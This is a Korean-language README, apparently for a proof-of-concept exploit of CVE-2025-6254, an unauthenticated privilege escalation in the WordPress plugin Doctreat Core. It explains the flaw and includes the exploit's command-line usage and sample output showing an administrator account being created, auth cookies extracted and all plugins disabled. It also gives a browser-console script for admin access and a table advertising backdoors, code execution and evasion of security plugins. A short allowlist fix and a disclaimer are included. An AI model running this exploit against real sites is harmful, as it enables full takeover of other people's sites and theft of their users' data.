
CVE-2025-6254 — Doctreat Core <= 1.6.8 — 인증되지 않은 권한 상승
WordPress 플러그인 Doctreat Core 버전 <= 1.6.8에는 인증되지 않은 권한 상승 취약점이 존재합니다. 이 치명적인 결함으로 인해 인증되지 않은 공격자가 플러그인의 등록 AJAX 엔드포인트를 통해 직접 새로운 관리자(Administrator) 계정을 생성할 수 있습니다.
이 취약점은 hooks/hooks.php 파일의 doctreat_process_registration() 함수에서 비롯되며, 이 함수는 사용자가 제출한 POST 데이터에서 user_type 매개변수를 직접 받아 적절한 권한 검사나 허용 목록(allowlist) 검증 없이 wp_update_user()의 role 매개변수로 전달합니다. 플러그인은 esc_sql()만 적용할 뿐(역할 검증은 수행하지 않음) 해당 역할이 공개 등록에 안전한지 여부를 전혀 확인하지 않습니다.
획기적인 발견: Doctreat가 사용하는 nonce(scripts_vars.ajax_nonce)는 활성화된 Doctreat 테마의 모든 공개 페이지에 노출됩니다. 일반적으로 사용자가 "doctors", "hospitals" 또는 "regular_users"로 등록할지 여부를 제어하는 user_type 매개변수는 POST로 user_type=administrator를 전송하여 재정의할 수 있으며, 이 값은 WordPress role 매개변수로 직접 전달됩니다.
/wp-admin/admin-ajax.php?action=doctreat_process_registrationuser_type=administrator 제출ajax_nonce 스크래핑// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
'ID' => esc_sql( $user_identity ),
'role' => esc_sql( $user_type ), // ← user_type from $_POST via extract($_POST)
'user_status' => 0
) );
// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );
참고: 기본 검증 설정($verify_user가 비어 있거나 'remove')이 적용된 대상에서는 사용자가 자동으로 검증되어 즉시 관리자 접근 권한을 얻습니다. 이메일 검증 또는 관리자 승인이 활성화된 대상에서는 추가 검증 절차가 필요합니다.
python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080
python3 CVE-2025-6254_exploit.py target.com username password
============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator
[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR
[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}
[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access
[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!
익스플로잇 실행 후 생성된 JavaScript를 복사하여 브라우저의 DevTools 콘솔(F12)에 붙여넣으세요:
(function() {
'use strict';
console.log('[*] Starting WordPress admin access...');
// ... cookies set automatically ...
window.location.href = 'https://target.com/wp-admin/';
})();
requests 라이브러리 (pip install requests)// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
$user_type = 'regular_users'; // ← Reject ALL dangerous roles
}
current_user_can('create_users') 기능 검사 추가wp_update_user()에 전달하기 전에 user_type 검증이 정보는 교육 및 승인된 침투 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 악용은 불법이며 비윤리적입니다. 소유하지 않은 대상을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오.
| 능력 | 영향 |
|---|
| 🔑 로그인 없이 관리자 계정 생성 | 전체 사이트 장악 |
| 🎛️ 모든 보안 플러그인 자동 비활성화 | 방어 회피 |
| 💉 플러그인/테마 PHP 파일 편집 | 원격 코드 실행 |
| 🕳️ 숨겨진 백도어 설치 | 지속적 접근 |
| 👥 모든 사용자 데이터 조회 | 개인정보 침해 |